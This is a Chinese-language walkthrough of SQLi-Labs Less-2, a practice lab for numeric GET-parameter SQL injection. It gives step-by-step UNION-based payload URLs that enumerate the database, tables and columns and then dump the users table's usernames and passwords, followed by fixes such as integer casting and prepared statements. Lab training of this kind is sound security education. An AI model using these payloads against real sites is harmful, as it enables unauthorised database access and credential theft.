SQLi-Labs Less-2 通关教程(数字型GET注入)

📅 发布时间:2026/7/11 15:36:10 👁️ 浏览次数:
SQLi-Labs Less-2 通关教程(数字型GET注入)
SQLi-Labs Less-2 通关教程数字型GET注入一、关卡核心信息项目详情漏洞类型GET型数字型SQL注入核心区别于Less-1的字符型核心特征后端SQL语句中id参数无引号包裹直接以数字形式拼接执行前置条件已完成SQLi-Labs靶场搭建数据库初始化成功工具准备浏览器Chrome/Firefox、Burp Suite可选抓包验证通关目标掌握数字型注入的判断方法通过联合查询逐层获取数据库名、表名、字段名及users表账号密码二、核心原理Less-2 与 Less-1 的核心差异在于参数拼接方式Less-1字符型SELECT * FROM users WHERE id1 LIMIT 0,1;Less-2数字型SELECT * FROM users WHERE id1 LIMIT 0,1;数字型注入无需闭合引号直接构造UNION、ORDER BY等语句即可这是Web安全中最基础、最易利用的注入类型之一。三、通关步骤步骤1判断注入类型核心区分数字型 vs 字符型正常访问基准页访问地址http://[靶场IP]/sqli-labs/Less-2/?id1回显结果页面正常显示Your Login name:Dumb、Your Password:Dumb说明id1查询有效。测试字符型闭合排除法输入Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id1回显结果出现MySQL语法错误关键提示为near LIMIT 0,1 at line 1。分析报错中仅出现 LIMIT无1说明后端未用单引号包裹id排除字符型注入。验证数字型注入逻辑判断法输入http://[靶场IP]/sqli-labs/Less-2/?id1 and 11回显正常逻辑为真查询执行成功。输入http://[靶场IP]/sqli-labs/Less-2/?id1 and 12回显无结果逻辑为假查询无数据。结论确认是数字型注入参数可直接参与SQL逻辑运算。步骤2确定查询字段数ORDER BY 法核心目的找到后端SQL语句SELECT后的字段数量为后续联合查询做准备。输入Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id1 order by 3回显页面正常说明字段数≥3。输入Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id1 order by 4回显出现Unknown column 4 in order clause报错。结论原查询语句的字段数为3。步骤3定位回显位置UNION 联合查询核心原理利用UNION SELECT拼接查询语句通过构造“原查询无结果”强制显示联合查询的内容找到页面可回显的字段位置。构造Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id-1 union select 1,2,3关键说明id-1是不存在的数值让原查询无结果union select 1,2,3拼接3个占位符匹配字段数。回显结果页面显示2和3说明第2、3字段为可回显位置后续可将占位符替换为查询语句。步骤4逐层获取数据库敏感信息1查询当前数据库名与数据库用户Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id-1 union select 1,database(),user()回显结果database()显示当前库名默认securityuser()显示数据库连接用户如rootlocalhost。2查询security数据库下的所有表名Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity关键说明information_schema.tablesMySQL系统表存储所有数据库的表信息group_concat()将多个表名拼接成一行避免分页显示数字型注入无需闭合引号但若查询条件为字符串如table_schemasecurity仍需用单引号包裹。回显结果显示emails、referers、uagents、users核心目标表为users存储账号密码。3查询users表的所有字段名Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers回显结果显示id、username、password即核心敏感字段。4查询users表中的账号密码通关核心Payloadhttp://[靶场IP]/sqli-labs/Less-2/?id-1 union select 1,group_concat(username,:,password),3 from security.users回显结果显示所有用户凭证如Dumb:Dumb、admin:admin、test:test完成敏感数据窃取。步骤5Burp Suite Repeater 适配操作教学补充若使用Burp Repeater测试需注意URL编码规范无需处理引号仅需规范空格抓包后在请求行中输入GET /sqli-labs/Less-2/?id-1 union select 1,group_concat(username,:,password),3 from security.users HTTP/1.1或使用URL编码空格%20id-1%20union%20select%201,group_concat(username,:,password),3%20from%20security.users点击Send即可在响应包中看到敏感数据。四、漏洞修复方案Less-2 漏洞的本质是后端未对数字型参数做类型校验直接拼接SQL语句修复需从“输入校验”和“语句安全”两方面入手类型强制转换后端将id参数强制转换为整数如PHP中用intval($id)非数字内容直接过滤预编译语句推荐使用PDO、MySQLi预编译避免SQL语句拼接示例PHP$stmt$pdo-prepare(SELECT * FROM users WHERE id ? LIMIT 0,1);$stmt-execute([$id]);最小权限原则限制数据库账号的查询权限禁止前端账号访问information_schema系统表。五、图文并茂实训标注建议截图序号截图内容核心标注1正常访问id1的页面标注“数字型注入基准页无引号包裹”2id1 and 12的无结果页面标注“逻辑判断法验证数字型注入”3order by 4的报错页面标注“字段数为3超出则报错”4联合查询显示数据库名的页面标注“回显位置第2、3字段”5获取users表账号密码的最终页面标注“核心成果敏感数据泄露”六、通关总结Less-2 作为数字型SQL注入的入门关卡核心考点是“注入类型的判断”和“无引号闭合的注入逻辑”。与字符型注入相比数字型注入无需考虑引号闭合操作更简单但判断环节是关键。通关核心逻辑先通过逻辑运算判断数字型注入 → 用ORDER BY确定字段数 → 用UNION SELECT定位回显位置 → 逐层查询敏感数据。掌握这一逻辑可快速迁移到所有数字型注入场景是SQL注入学习的重要基础。